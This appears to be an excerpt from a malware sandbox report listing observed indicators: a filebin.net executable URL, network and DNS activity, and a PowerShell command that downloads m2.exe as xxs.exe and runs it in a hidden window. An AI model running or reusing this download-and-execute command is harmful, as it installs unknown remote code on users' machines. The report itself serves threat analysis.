Technical Information
- https://filebin.net/jk866vgzexwn31m6/m2.exe?t=ugr94rej as xxs.exe
- 'fi##bin.net':443
- DNS ASK fi##bin.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' /c (new-object System.Net.WebClient).DownloadFile('https://filebin.net/jk866vgzexwn31m6/m2.exe?t=ugr94rej','xxs.exe'); Start-Process 'xxs.exe'' (with hidden window)